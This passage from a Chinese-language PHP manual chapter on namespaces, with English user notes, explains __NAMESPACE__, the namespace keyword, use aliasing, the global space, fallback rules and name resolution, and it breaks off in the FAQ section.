class A {
    public function factory() {
        return new C;
    }
}
class C {
    public function tell() {
        echo "foo";
    }
}
?>

<?php // File2.php
namespace bar;
class B extends \foo\A {}
class C {
    public function tell() {
        echo "bar";
    }
}
?>

<?php
include "File1.php";
include "File2.php";
$b = new bar\B;
$c = $b->factory();
$c->tell(); // "foo" but you want "bar"
?>

You need to do it like this:

When extending a class from another namespace that should instantiate a class from within the current namespace, you need to pass on the namespace.

<?php // File1.php
namespace foo;
class A {
    protected $namespace = __NAMESPACE__;
    public function factory() {
        $c = $this->namespace . '\C';
        return new $c;
    }
}
class C {
    public function tell() {
        echo "foo";
    }
}
?>

<?php // File2.php
namespace bar;
class B extends \foo\A {
    protected $namespace = __NAMESPACE__;
}
class C {
    public function tell() {
        echo "bar";
    }
}
?>

<?php
include "File1.php";
include "File2.php";
$b = new bar\B;
$c = $b->factory();
$c->tell(); // "bar"
?>

(it seems that the namespace-backslashes are stripped from the source code in the preview, maybe it works in the main view. If not: fooA was written as \foo\A and barB as bar\B)
scott at intothewild dot ca 07-Aug-2009 03:33
as noted by guilhermeblanco at php dot net,

<?php

  // fact.php

  namespace foo;

  class fact {

    public function create($class) {
      return new $class();
    }
  }

?>

<?php

  // bar.php

  namespace foo;

  class bar {
  ...
  }

?>

<?php

  // index.php

  namespace foo;

  include('fact.php');

  $foofact = new fact();
  $bar = $foofact->create('bar'); // attempts to create \bar
                                  // even though foofact and
                                  // bar reside in \foo

?>
guilhermeblanco at php dot net 16-Jun-2009 12:04
Please be aware of FQCN (Full Qualified Class Name) point.
Many people will have troubles with this:

<?php

// File1.php
namespace foo;

class Bar { ... }

function factory($class) {
    return new $class;
}

// File2.php
$bar = \foo\factory('Bar'); // Will try to instantiate \Bar, not \foo\Bar

?>

To fix that, and also incorporate a 2 step namespace resolution, you can check for \ as first char of $class, and if not present, build manually the FQCN:

<?php

// File1.php
namespace foo;

function factory($class) {
    if ($class[0] != '\\') {
        echo '->';
         $class = '\\' . __NAMESPACE__ . '\\' . $class;
    }

    return new $class();
}

// File2.php
$bar = \foo\factory('Bar'); // Will correctly instantiate \foo\Bar

$bar2 = \foo\factory('\anotherfoo\Bar'); // Wil correctly instantiate \anotherfoo\Bar

?>


namespace 关键字和 __NAMESPACE__ 常量

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

PHP支持两种抽象的访问当前命名空间内部元素的方法，__NAMESPACE__ 魔术常量和 namespace 关键字。

常量 __NAMESPACE__ 的值是包含当前命名空间名称的字符串。在全局的，不包括在任何命名空间中的代码，它包含一个空的字符串。

Example #1 __NAMESPACE__ 示例, 在命名空间中的代码

<?php
namespace MyProject;

echo '"', __NAMESPACE__, '"'; // 输出 "MyProject"
?>

Example #2 __NAMESPACE__ 示例，全局代码

<?php

echo '"', __NAMESPACE__, '"'; // 输出 ""
?>
常量 __NAMESPACE__ 在动态创建名称时很有用，例如：

Example #3 使用 __NAMESPACE__ 动态创建名称

<?php
namespace MyProject;

function get($classname)
{
$a = __NAMESPACE__ . '\\' . $classname;
return new $a;
}
?>

关键字 namespace 可用来显式访问当前命名空间或子命名空间中的元素。它等价于类中的 self 操作符。

Example #4 namespace 操作符，命名空间中的代码

<?php
namespace MyProject;

use blah\blah as mine; // 参考 "使用命名空间：别名/导入"

blah\mine(); // 调用函数 MyProject\blah\mine()
namespace\blah\mine(); // 调用函数 MyProject\blah\mine()

namespace\func(); // 调用函数 MyProject\func()
namespace\sub\func(); // 调用函数 MyProject\sub\func()
namespace\cname::method(); // 调用 class MyProject\cname 的静态方法 "method"
$a = new namespace\sub\cname(); // class MyProject\sub\cname 的实例对象
$b = namespace\CONSTANT; // 设置 $b 的值为常量 MyProject\CONSTANT
?>

Example #5 namespace 操作符, 全局代码

<?php

namespace\func(); // 调用函数 func()
namespace\sub\func(); // 调用函数 sub\func()
namespace\cname::method(); // 调用 class cname 的静态方法 "method"
$a = new namespace\sub\cname(); // class sub\cname 的实例对象
$b = namespace\CONSTANT; // 设置 $b 的值为常量 CONSTANT
?>

User Contributed Notes

bharatthapa45 at gmail dot com 30-Mar-2022 08:37
Difference between __NAMESPACE__ and keyword 'namespace' that I find relevant is when invoking a class:

<?php
namespace MyApp;

class App {
    static function app(){
        echo 'hello app';
    }
}

// this will work:
$obj = new namespace\App::app();

// this will not work
$obj = new __NAMESPACE__\App::app();

// however this will work:
$obj = __NAMESPACE__ . '\App';
$obj::foo();

?>
cornichonche at gmail dot com 22-Feb-2018 12:30
The example 4 is wrong.
Using php 7.2

<?php
namespace monProjet;

use function blah\blah as mine;

blah\mine(); // Will NOT work
mine(); // Will work
?>
a dot schaffhirt at sedna-soft dot de 02-Feb-2010 06:24
Just in case you wonder what the practical use of the namespace keyword is...

It can explicitly refer to classes from the current namespace regardless of possibly "use"d classes with the same name from other namespaces. However, this does not apply for functions.

Example:

<?php
namespace foo;
class Xyz {}
function abc () {}
?>

<?php
namespace bar;
class Xyz {}
function abc () {}
?>

<?php
namespace bar;
use foo\Xyz;
use foo\abc;
new Xyz(); // instantiates \foo\Xyz
new namespace\Xyz(); // instantiates \bar\Xyz
abc(); // invokes \bar\abc regardless of the second use statement
\foo\abc(); // it has to be invoked using the fully qualified name
?>

Hope, this can save someone from some trouble.

Best regards.


使用命名空间：别名/导入

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

允许通过别名引用或导入外部的完全限定名称，是命名空间的一个重要特征。这有点类似于在类 unix 文件系统中可以创建对其它的文件或目录的符号连接。

PHP 可以为这些项目导入或设置别名： 常量、函数、类、接口、trait、枚举和命名空间。

别名是通过操作符 use 来实现的。下面是五种导入方式的例子：

Example #1 使用 use 操作符导入/使用别名

<?php
namespace foo;
use My\Full\Classname as Another;

// 下面的例子与 use My\Full\NSname as NSname 相同
use My\Full\NSname;

// 导入一个全局类
use ArrayObject;

// 导入函数
use function My\Full\functionName;

// 为函数设置别名
use function My\Full\functionName as func;

// 导入常量
use const My\Full\CONSTANT;

$obj = new namespace\Another; // 实例化 foo\Another 对象
$obj = new Another; // 实例化 My\Full\Classname　对象
NSname\subns\func(); // 调用函数 My\Full\NSname\subns\func
$a = new ArrayObject(array(1)); // 实例化 ArrayObject 对象
// 如果不使用 "use \ArrayObject" ，则实例化一个 foo\ArrayObject 对象
func(); // 调用函数 My\Full\functionName
echo CONSTANT; // 输出 My\Full\CONSTANT 的值
?>
注意对命名空间中的名称（包含命名空间分隔符的完全限定名称如 Foo\Bar 以及相对的不包含命名空间分隔符的全局名称如 FooBar）来说，前导的反斜杠是不必要的也不推荐的，因为导入的名称必须是完全限定的，不会根据当前的命名空间作相对解析。

为了简化操作，PHP 还支持在一行中使用多个 use 语句

Example #2 通过 use 操作符导入/使用别名，一行中包含多个 use 语句

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // 实例化 My\Full\Classname 对象
NSname\subns\func(); // 调用函数 My\Full\NSname\subns\func
?>

导入操作是在编译执行的，但动态的类名称、函数名称或常量名称则不是。

Example #3 导入和动态名称

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // 实例化一个 My\Full\Classname 对象
$a = 'Another';
$obj = new $a; // 实际化一个 Another 对象
?>

另外，导入操作只影响非限定名称和限定名称。完全限定名称由于是确定的，故不受导入的影响。

Example #4 导入和完全限定名称

<?php
use My\Full\Classname as Another, My\Full\NSname;

$obj = new Another; // class My\Full\Classname 的实例对象
$obj = new \Another; // class Another 的实例对象
$obj = new Another\thing; // class My\Full\Classname\thing 的实例对象
$obj = new \Another\thing; // class Another\thing 的实例对象
?>

导入规则的范围

use 关键词必须在文件最外层范围 （全局作用域）或在命名空间声明内。 由于导入发生在编译时，而不是运行时，所以不能放入块作用域。 以下例子展示了不合规则的 use 关键词使用示例：

Example #5 不合规的导入规则

<?php
namespace Languages;

function toGreenlandic()
{
use Languages\Danish;

// ...
}
?>

Note:

导入规则独立于每个文件，意味着包含的文件 不会继承父文件的导入规则。

use 声明编组

通过单个 use 语句，可以将来自同一个 namespace 的 类、函数、常量一起编组导入。

<?php

use some\namespace\ClassA;
use some\namespace\ClassB;
use some\namespace\ClassC as C;

use function some\namespace\fn_a;
use function some\namespace\fn_b;
use function some\namespace\fn_c;

use const some\namespace\ConstA;
use const some\namespace\ConstB;
use const some\namespace\ConstC;

// 等同于以下编组的 use 声明
use some\namespace\{ClassA, ClassB, ClassC as C};
use function some\namespace\{fn_a, fn_b, fn_c};
use const some\namespace\{ConstA, ConstB, ConstC};

User Contributed Notes

tuxedobob 27-May-2022 04:32
Note that because this is processed at compile time, this doesn't work when running PHP in interactive mode. use commands won't throw an error, but they won't do anything, either.
eithed at google mail 14-Mar-2021 05:14
Bear in mind that it's perfectly fine to alias namespaces, ie:

<?php
use A\B\C\D\E\User;

new User();
?>

can be also written as:

<?php
use A\B\C\D\E as ENamespace;

new ENamespace\User();
?>

however following will not work:

<?php
use A\B\C\D\E as ENamespace;
use ENamespace\User;

new User();
?>

> PHP Error:  Class "ENamespace\User" not found
info at ensostudio dot ru 05-Sep-2020 10:48
Note: you can import not existed items without errors:
<?php
use UndefinedClass;
use function undefined_fn;
use const UNDEFINED_CONST;
?>
but you cant use/call they:
<?php
$new UndefinedClass; // Error: Use of undefined class
use function undefined_fn; // Error: Use of undefined function
use const UNDEFINED_CONST; // Error: Use of undefined constant
?>
Dhairya Lakhera 27-Jul-2019 01:41
namespace test{

    use test\xyz\tikku;
    use test\xyz\tikku as class_alias;
    use function test\xyz\tikku\foo;
    use function test\xyz\tikku\foo as func_alias;
    use const test\xyz\tikku\ABC;
    use const test\xyz\tikku\ABC as const_alias;

    $obj=new tikku;
    $obj->Display();  // I am in  test\xyz namespace

    $obj=new tikku\dhairya;
    $obj->Display();   // I am in test\xyz\tikku namespace

    $obj=new class_alias\dhairya;
    $obj->Display();   // I am in test\xyz\tikku namespace

    $obj=new \class_alias\dhairya;
    $obj->Display();  // I am in class_alias namespace

}

namespace test\xyz{

   class tikku{
    function Display(){
        echo "I am in ".__namespace__." namespace<br/><hr/>";
    }
   }
}

namespace test\xyz\tikku{

   class dhairya{
    function Display(){
        echo "I am in ".__namespace__." namespace<br/><hr/>";
    }
   }
}

namespace class_alias{

   class dhairya{
    function Display(){
        echo "I am in ".__namespace__." namespace<br/><hr/>";
    }
   }
}
www.codewars.com 07-Jun-2019 01:59
amazing!!

use function strval as numberToString;

var_dump(numberToString(123));

//print
//string(3) "123"
Joey 29-Mar-2018 02:25
For those hoping for an easy fix of DRY with {} unfortunately you can't nest it or do anything cool with it. In case you can only have one per use and if you don't have one then the whole use is assumed to be wrapped in brackets. That means if you do have one you can't use , as normal with use!

Not possible:

    use A\B\C\{
            D, E,
            F\{X, Y, Z}
        },
        X\Y\Z,
        H\{
            I\{
                Y\Y\Y\Y\Y,
                Z, H, E
            },
            J\{
                A\{
                    G\H\J
                    B\N
                },
                G\H\J
            }
        };
Mawia HL 21-Oct-2017 05:03
Here is a handy way of importing classes, functions and conts using a single use keyword:

<?php
use Mizo\Web\ {
   Php\WebSite,
   Php\KeyWord,
   Php\UnicodePrint,
   JS\JavaScript,
   function JS\printTotal,
   function JS\printList,
   const JS\BUAIKUM,
   const JS\MAUTAM
};
?>
xzero at elite7hackers dot net 04-May-2017 11:13
I couldn't find answer to this question so I tested myself.
I think it's worth noting:

<?php
use ExistingNamespace\NonExsistingClass;
use ExistingNamespace\NonExsistingClass as whatever;
use NonExistingNamespace\NonExsistingClass;
use NonExistingNamespace\NonExsistingClass as whatever;
?>

None of above will actually cause errors unless you actually try to use class you tried to import.

<?php
// And this code will issue standard PHP error for non existing class.
use ExistingNamespace\NonExsistingClass as whatever;
$whatever = new whatever();
?>
ZhangLiang 15-Feb-2017 06:16
In Chinese,there is an error in translation:
// 如果不使用 "use \ArrayObject" ，则实例化一个 foo\ArrayObject 对象
it should be
// 如果不使用 "use ArrayObject" ，则实例化一个 foo\ArrayObject 对象

/*********************************************/
中文下翻译有错误
// 如果不使用 "use \ArrayObject" ，则实例化一个 foo\ArrayObject 对象
这句话应该是
// 如果不使用 "use ArrayObject" ，则实例化一个 foo\ArrayObject 对象
ultimater at gmail dot com 30-Sep-2016 10:53
Note that "use" importing/aliasing only applies to the current namespace block.

<?php

namespace SuperCoolLibrary
{
    class Meta
    {
        static public function getVersion()
        {
            return '2.7.1';
        }
    }
}

namespace
{
    use SuperCoolLibrary\Meta;
    echo Meta::getVersion();//outputs 2.7.1
}

namespace
{
    echo Meta::getVersion();//fatal error
}

?>

To get the expected behavior, you'd use:
class_alias('SuperCoolLibrary\Meta','Meta');
dominic_mayers at yahoo dot com 20-Sep-2016 11:18
To clarify the distinction between inserting a trait in a class and importing a trait in a namespace, here is an example where we first import and then insert a trait.

<?php
namespace ns1;
trait T {
  static $a = "In T";
}

namespace ns2;
use ns1\T; // Importing the name of trait ns1\T  in the namespace ns2
class C {
  use T; // Inserting trait T in the class C, making use of the imported name.
}

namespace main;
use ns2\C;
echo C::$a; // In T;
dominic_mayers at yahoo dot com 20-Sep-2016 10:50
The keyword "use" has been recycled for three distinct applications:
1- to import/alias classes, traits, constants, etc. in namespaces,
2- to insert traits in classes,
3- to inherit variables in closures.
This page is only about the first application: importing/aliasing. Traits can be inserted in classes, but this is different from importing a trait in a namespace, which cannot be done in a block scope, as pointed out in example 5. This can be confusing, especially since all searches for the keyword "use" are directed to the documentation here on importing/aliasing.
me at ruslanbes dot com 31-Mar-2016 07:34
Note the code `use ns1\c1` may refer to importing class `c1` from namespace `ns1` as well as importing whole namespace `ns1\c1` or even import both of them in one line. Example:

<?php
namespace ns1;

class c1{}

namespace ns1\c1;

class c11{}

namespace main;

use ns1\c1;

$c1 = new c1();
$c11 = new c1\c11();

var_dump($c1); // object(ns1\c1)#1 (0) { }
var_dump($c11); // object(ns1\c1\c11)#2 (0) { }
kelerest123 at gmail dot com 10-Mar-2015 05:50
For the fifth example (example #5):

When in block scope, it is not an illegal use of use keyword, because it is used for sharing things with traits.
anon 30-Jan-2014 09:08
The <?php use ?> statement does not load the class file. You have to do this with the <?php require ?> statement or by using an autoload function.
k at webnfo dot com 07-Apr-2013 01:32
Note that you can not alias global namespace:

use \ as test;

echo test\strlen('');

won't work.
Anonymous 03-Apr-2013 10:02
The last example on this page shows a possibly incorrect attempt of aliasing, but it is totally correct to import a trait \Languages\Languages\Danish.
cl 11-Mar-2013 12:59
Something that is not immediately obvious, particular with PHP 5.3, is that namespace resolutions within an import are not resolved recursively.  i.e.: if you alias an import and then use that alias in another import then this latter import will not be fully resolved with the former import.

For example:
use \Controllers as C;
use C\First;
use C\Last;

Both the First and Last namespaces are NOT resolved as \Controllers\First or \Controllers\Last as one might intend.
x at d dot a dot r dot k dot REMOVEDOTSANDTHIS dot gray dot org 02-Jan-2013 05:13
You are allowed to "use" the same resource multiple times as long as it is imported under a different alias at each invocation.

For example:

<?php
use Lend;
use Lend\l1;
use Lend\l1 as l3;
use Lend\l2;
use Lend\l1\Keller;
use Lend\l1\Keller as Stellar;
use Lend\l1\Keller as Zellar;
use Lend\l2\Keller as Dellar;

...

?>

In the above example, "Keller", "Stellar", and "Zellar" are all references to "\Lend\l1\Keller", as are "Lend\l1\Keller", "l1\Keller", and "l3\Keller".
c dot 1 at smithies dot org 14-Aug-2011 03:26
If you are testing your code at the CLI, note that namespace aliases do not work!

(Before I go on, all the backslashes in this example are changed to percent signs because I cannot get sensible results to display in the posting preview otherwise. Please mentally translate all percent signs henceforth as backslashes.)

Suppose you have a class you want to test in myclass.php:

<?php
namespace my%space;
class myclass {
 // ...
}
?>

and you then go into the CLI to test it. You would like to think that this would work, as you type it line by line:

require 'myclass.php';
use my%space%myclass; // should set 'myclass' as alias for 'my%space%myclass'
$x = new myclass; // FATAL ERROR

I believe that this is because aliases are only resolved at compile time, whereas the CLI simply evaluates statements; so use statements are ineffective in the CLI.

If you put your test code into test.php:
<?php
require 'myclass.php';
use my%space%myclass;
$x = new myclass;
//...
?>
it will work fine.

I hope this reduces the number of prematurely bald people.
thinice at gmail.com 01-Dec-2010 10:07
Because imports happen at compile time, there's no polymorphism potential by embedding the use keyword in a conditonal.

e.g.:

<?php
if ($objType == 'canine') {
  use Animal\Canine as Beast;
}
if ($objType == 'bovine') {
  use Animal\Bovine as Beast;
}

$oBeast = new Beast;
$oBeast->feed();
?>


全局空间

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

如果没有定义任何命名空间，所有的类与函数的定义都是在全局空间，与 PHP 引入命名空间概念前一样。在名称前加上前缀 \ 表示该名称是全局空间中的名称，即使该名称位于其它的命名空间中时也是如此。

Example #1 使用全局空间说明

<?php
namespace A\B\C;

/* 这个函数是 A\B\C\fopen */
function fopen() {
/* ... */
$f = \fopen(...); // 调用全局的fopen函数
return $f;
}
?>

User Contributed Notes

PhoneixSegovia at gmail dot com 24-Aug-2022 12:18
Note that variables aren't part of the namespace so they are always global (or scoped to function, etc.) and can't be accessed the same way as other namespace stuff.

So no:

    namespace Foo;
    $var = "hello";
    echo \Foo\$var;
hileon at gmail dot com 25-Nov-2015 08:17
This design of access globe name is bad, at least inconvenient.
In case that you have some legacy code, and try to copy and re-use it under some namespace. You have to add prefix "\" on any global function call.
nobody at example dot com 15-May-2015 07:59
In namespaced context the Exception class needs to be prefixed with global prefix operator.

<?php

namespace hey\ho\lets\go;

class MyClass
{
    public function failToCatch()
    {
        try {
            $thing = somethingThrowingAnException();
        } catch (Exception $ex) {
              // Not catched
        }
    }

    public function succeedToCatch()
    {
        try {
            $thing = somethingThrowingAnException();
        } catch (\Exception $ex) {
              // This is now catched
        }
    }

}
xmarcos at gmail dot com 21-May-2012 07:08
That's the expected behavior, you have to declare the namespace at the top of the file to "extend" it.

If you include a global namespaced file, it will operate on the global namespace.
routinet 28-Aug-2011 11:22
Included files will default to the global namespace.
<?php
//test.php
namespace test {
  include 'test1.inc';
  echo '-',__NAMESPACE__,'-<br />';
}
?>

<?php
//test1.inc
  echo '-',__NAMESPACE__,'-<br />';
?>

Results of test.php:

--
-test-


使用命名空间：后备全局函数/常量

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

在一个命名空间中，当 PHP 遇到一个非限定的类、函数或常量名称时，它使用不同的优先策略来解析该名称。类名称总是解析到当前命名空间中的名称。因此在访问系统内部或不包含在命名空间中的类名称时，必须使用完全限定名称，例如：

Example #1 在命名空间中访问全局类

<?php
namespace A\B\C;
class Exception extends \Exception {}

$a = new Exception('hi'); // $a 是类 A\B\C\Exception 的一个对象
$b = new \Exception('hi'); // $b 是类 Exception 的一个对象

$c = new ArrayObject; // 致命错误, 找不到 A\B\C\ArrayObject 类
?>

对于函数和常量来说，如果当前命名空间中不存在该函数或常量，PHP 会退而使用全局空间中的函数或常量。

Example #2 命名空间中后备的全局函数/常量

<?php
namespace A\B\C;

const E_ERROR = 45;
function strlen($str)
{
return \strlen($str) - 1;
}

echo E_ERROR, "\n"; // 输出 "45"
echo INI_ALL, "\n"; // 输出 "7" - 使用全局常量 INI_ALL

echo strlen('hi'), "\n"; // 输出 "1"
if (is_array('hi')) { // 输出 "is not array"
echo "is array\n";
} else {
echo "is not array\n";
}
?>

User Contributed Notes

markus at malkusch dot de 04-Dec-2014 08:22
You can use the fallback policy to provide mocks for built-in functions like time(). You therefore have to call those functions unqualified:

<?php
namespace foo;

function time() {
    return 1234;
}

assert (1234 == time());
?>

However there's a restriction that you have to define the mock function before the first usage in the tested class method. This is documented in Bug #68541.

You can find the mock library php-mock at GitHub.


名称解析规则

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

在说明名称解析规则之前，我们先看一些重要的定义：

命名空间名称定义
非限定名称（Unqualified name）

名称中不包含命名空间分隔符的标识符，例如 Foo

限定名称（Qualified name）

名称中含有命名空间分隔符的标识符，例如 Foo\Bar

完全限定名称（Fully qualified name）

名称中包含命名空间分隔符，并以命名空间分隔符开始的标识符，例如 \Foo\Bar。 namespace\Foo 也是一个完全限定名称。

相对名称（Relative name）

这是个以 namespace 开头的标识符， 例如 namespace\Foo\Bar。

名称解析遵循下列规则：

  1. 完全限定名称总是会解析成没有前缀符号的命名空间名称。 \A\B 解析为 A\B。
  2. 解析相对名称时，会用当前命名空间的名称替换掉 namespace。 如果名称出现在全局命名空间，会截掉 namespace\ 前缀。 例如，在命名空间 X\Y 里的 namespace\A 会被解析成 X\Y\A。 在全局命名空间里，同样的名字却被解析成 A。
  3. 对于限定名称，名字的第一段会根据当前 class/namespace 导入表进行翻译。 比如命名空间 A\B\C 被导入为 C， 名称 C\D\E 会被翻译成 A\B\C\D\E。
  4. 对于限定名称，如果没有应用导入规则，就将当前命名空间添加为名称的前缀。 例如，位于命名空间 A\B 内的名称 C\D\E 会解析成 A\B\C\D\E。
  5. 根据符号类型和对应的当前导入表，解析非限定名称。 这也就是说，根据 class/namespace 导入表翻译类名称； 根据函数导入表翻译函数名称； 根据常量导入表翻译常量名称。 比如，在 use A\B\C; 后，类似 new C() 这样的名称会解析为 A\B\C()。 类似的，use function A\B\foo; 后， foo() 的用法，解析名称为 A\B\foo。
  6. 如果没有应用导入规则，对于类似 class 符号的非限定名称，会添加当前命名空间作为前缀。 比如命名空间 A\B 内的 new C() 会把名称解析为 A\B\C。
  7. 如果没有应用导入规则，非限定名称指向函数或常量，且代码位于全局命名空间之外，则会在运行时解析名称。 假设代码位于命名空间 A\B 中， 下面演示了调用函数 foo() 是如何解析的：
    1. 在当前命名空间中查找函数： A\B\foo()。
    2. 它会尝试找到并调用 全局 的函数 foo()。

Example #1 名称解析示例

<?php
namespace A;
use B\D, C\E as F;

// 函数调用

foo(); // 首先尝试调用定义在命名空间"A"中的函数foo()
// 再尝试调用全局函数 "foo"

\foo(); // 调用全局空间函数 "foo"

my\foo(); // 调用定义在命名空间"A\my"中函数 "foo"

F(); // 首先尝试调用定义在命名空间"A"中的函数 "F"
// 再尝试调用全局函数 "F"

// 类引用

new B(); // 创建命名空间 "A" 中定义的类 "B" 的一个对象
// 如果未找到，则尝试自动装载类 "A\B"

new D(); // 使用导入规则，创建命名空间 "B" 中定义的类 "D" 的一个对象
// 如果未找到，则尝试自动装载类 "B\D"

new F(); // 使用导入规则，创建命名空间 "C" 中定义的类 "E" 的一个对象
// 如果未找到，则尝试自动装载类 "C\E"

new \B(); // 创建定义在全局空间中的类 "B" 的一个对象
// 如果未发现，则尝试自动装载类 "B"

new \D(); // 创建定义在全局空间中的类 "D" 的一个对象
// 如果未发现，则尝试自动装载类 "D"

new \F(); // 创建定义在全局空间中的类 "F" 的一个对象
// 如果未发现，则尝试自动装载类 "F"

// 调用另一个命名空间中的静态方法或命名空间函数

B\foo(); // 调用命名空间 "A\B" 中函数 "foo"

B::foo(); // 调用命名空间 "A" 中定义的类 "B" 的 "foo" 方法
// 如果未找到类 "A\B" ，则尝试自动装载类 "A\B"

D::foo(); // 使用导入规则，调用命名空间 "B" 中定义的类 "D" 的 "foo" 方法
// 如果类 "B\D" 未找到，则尝试自动装载类 "B\D"

\B\foo(); // 调用命名空间 "B" 中的函数 "foo"

\B::foo(); // 调用全局空间中的类 "B" 的 "foo" 方法
// 如果类 "B" 未找到，则尝试自动装载类 "B"

// 当前命名空间中的静态方法或函数

A\B::foo(); // 调用命名空间 "A\A" 中定义的类 "B" 的 "foo" 方法
// 如果类 "A\A\B" 未找到，则尝试自动装载类 "A\A\B"

\A\B::foo(); // 调用命名空间 "A\B" 中定义的类 "B" 的 "foo" 方法
// 如果类 "A\B" 未找到，则尝试自动装载类 "A\B"
?>

User Contributed Notes

anrdaemon at freemail dot ru 12-Feb-2016 10:32
Namespaces may be case-insensitive, but autoloaders most often do.
Do yourself a service, keep your cases consistent with file names, and don't overcomplicate autoloaders beyond necessity.
Something like this should suffice for most times:

<?php

namespace org\example;

function spl_autoload($className)
{
  $file = new \SplFileInfo(__DIR__ . substr(strtr("$className.php", '\\', '/'), 11));
  $path = $file->getRealPath();
  if(empty($path))
  {
    return false;
  }
  else
  {
    return include_once $path;
  }
}

\spl_autoload_register('\org\example\spl_autoload');
?>
llmll 21-Dec-2014 01:05
The mentioned filesystem analogy fails at an important point:

Namespace resolution *only* works at declaration time. The compiler fixates all namespace/class references as absolute paths, like creating absolute symlinks.

You can't expect relative symlinks, which should be evaluated during access -> during PHP runtime.

In other words, namespaces are evaluated like __CLASS__ or self:: at parse-time. What's *not* happening, is the pendant for late static binding like static:: which resolves to the current class at runtime.

So you can't do the following:

namespace Alpha;
class Helper {
    public static $Value = "ALPHA";
}
class Base {
    public static function Write() {
        echo Helper::$Value;
    }
}

namespace Beta;
class Helper extends \Alpha\Helper {
    public static $Value = 'BETA';
}
class Base extends \Alpha\Base {}

\Beta\Base::Write(); // should write "BETA" as this is the executing namespace context at runtime.

If you copy the write() function into \Beta\Base it works as expected.
dn dot permyakov at gmail dot com 11-Jul-2014 10:02
Can someone explain to me -  why do we need p.4 if we have p.2 (which covers both unqualified and qualified names)?
CJ Taylor 14-Feb-2014 09:52
It took me playing with it a bit  as I had a hard time finding documentation on when a class name matches a namespace, if that's even legal and what behavior to expect.  It IS explained in #6 but I thought I'd share this with other souls like me that see it better by example.  Assume all 3 files below are in the same directory.

file1.php
<?php
namespace foo;

class foo {
  static function hello() {
    echo "hello world!";
  }
}
?>

file2.php
<?php
namespace foo;
include('file1.php');

foo::hello(); //you're in the same namespace, or scope.
\foo\foo::hello(); //called on a global scope.
?>

file3.php
<?php
include('file1.php');

foo\foo::hello(); //you're outside of the namespace
\foo\foo::hello(); //called on a global scope.
?>

Depending upon what you're building (example: a module, plugin, or package on a larger application), sometimes declaring a class that matches a namespace makes sense or may even be required.  Just be aware that if you try to reference any class that shares the same namespace, omit the namespace unless you do it globally like the examples above.

I hope this is useful, particularly for those that are trying to wrap your head around this 5.3 feature.
Kavoir.com 22-Jan-2014 10:25
For point 4, "In example, if the namespace A\B\C is imported as C" should be "In example, if the class A\B\C is imported as C".
kdimi 27-Oct-2010 06:35
If you like to declare an __autoload function within a namespace or class, use the spl_autoload_register() function to register it and it will work fine.
safakozpinar at NOSPAM dot gmail dot com 22-Oct-2010 01:04
As working with namespaces and using (custom or basic) autoload structure; magic function __autoload must be defined in global scope, not in a namespace, also not in another function or method.

<?php
namespace Glue {
    /**
     * Define your custom structure and algorithms
     * for autoloading in this class.
     */
    class Import
    {
        public static function load ($classname)
        {
            echo 'Autoloading class '.$classname."\n";
            require_once $classname.'.php';
        }
    }
}

/**
 * Define function __autoload in global namespace.
 */
namespace {

    function __autoload ($classname)
    {
        \Glue\Import::load($classname);
    }

}
?>
rangel 31-Jul-2009 12:48
The term "autoload" mentioned here shall not be confused with __autoload function to autoload objects. Regarding the __autoload and namespaces' resolution I'd like to share the following experience:

->Say you have the following directory structure:

- root
      | - loader.php
      | - ns
             | - foo.php

->foo.php

<?php
namespace ns;
class foo
{
    public $say;

    public function __construct()
    {
        $this->say = "bar";
    }

}
?>

-> loader.php

<?php
//GLOBAL SPACE <--
function __autoload($c)
{
    require_once $c . ".php";
}

class foo extends ns\foo // ns\foo is loaded here
{
    public function __construct()
    {
        parent::__construct();
        echo "<br />foo" . $this->say;
    }
}
$a = new ns\foo(); // ns\foo also loads ns/foo.php just fine here.
echo $a->say;   // prints bar as expected.
$b = new foo;  // prints foobar just fine.
?>

If you keep your directory/file matching namespace/class consistence the object __autoload works fine.
But... if you try to give loader.php a namespace you'll obviously get fatal errors.
My sample is just 1 level dir, but I've tested with a very complex and deeper structure. Hope anybody finds this useful.

Cheers!
rangel 31-Jul-2009 12:47
The term "autoload" mentioned here shall not be confused with __autoload function to autoload objects. Regarding the __autoload and namespaces' resolution I'd like to share the following experience:

->Say you have the following directory structure:

- root
      | - loader.php
      | - ns
             | - foo.php

->foo.php

<?php
namespace ns;
class foo
{
    public $say;

    public function __construct()
    {
        $this->say = "bar";
    }

}
?>

-> loader.php

<?php
//GLOBAL SPACE <--
function __autoload($c)
{
    require_once $c . ".php";
}

class foo extends ns\foo // ns\foo is loaded here
{
    public function __construct()
    {
        parent::__construct();
        echo "<br />foo" . $this->say;
    }
}
$a = new ns\foo(); // ns\foo also loads ns/foo.php just fine here.
echo $a->say;   // prints bar as expected.
$b = new foo;  // prints foobar just fine.
?>

If you keep your directory/file matching namespace/class consistence the object __autoload works fine.
But... if you try to give loader.php a namespace you'll obviously get fatal errors.
My sample is just 1 level dir, but I've tested with a very complex and deeper structure. Hope anybody finds this useful.

Cheers!


FAQ：命名空间必知必会

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

本文分两节：常见问题、有助于完全理解的实现详情。

首先，常见问题。

  1. 如果我不用命名空间，是否需要关心它？
  2. 我如何在命名空间内使用一个全局/内置的类？
  3. 如何在命名空间内访问它自己的类、函数、常量？
  4. 像 \my\name 和 \name 这样的名称是如何解析的？
  5. 像 my\name 这样的名称是如何解析的？
  6. 像 name 这样的非限定类名是如何解析的？
  7. 像 name 这样的非限定常量和函数名是如何解析的？

为了帮助理解，我们提供了一些命名空间实现细节。

  1. 在同一个文件中，导入名称不能和定义的类名发生冲突。
  2. 不允许嵌套 namespace。
  3. 动态命名空间名称（引号标识）应该转义反斜线。
  4. 引用一个未定义的、带反斜线的常量，会导致 fatal 错误并退出
  5. 不能重载特殊常量： NULL、TRUE、FALSE、ZEND_THREAD_SAFE、ZEND_DEBUG_BUILD

如果我不用命名空间，是否需要关心它？

不需要。命名空间不影响现存的代码，也不影响即将要写下的不含命名空间的代码。 想要的话可以这样写：

Example #1 在命名空间之外访问全局类

<?php
$a = new \stdClass;

以上等同于：

Example #2 在命名空间之外访问全局类

<?php
$a = new stdClass;

我如何在命名空间内使用一个全局/内置的类？

Example #3 在命名空间内访问内置的类

<?php
namespace foo;
$a = new \stdClass;

function test(\ArrayObject $parameter_type_example = null) {}

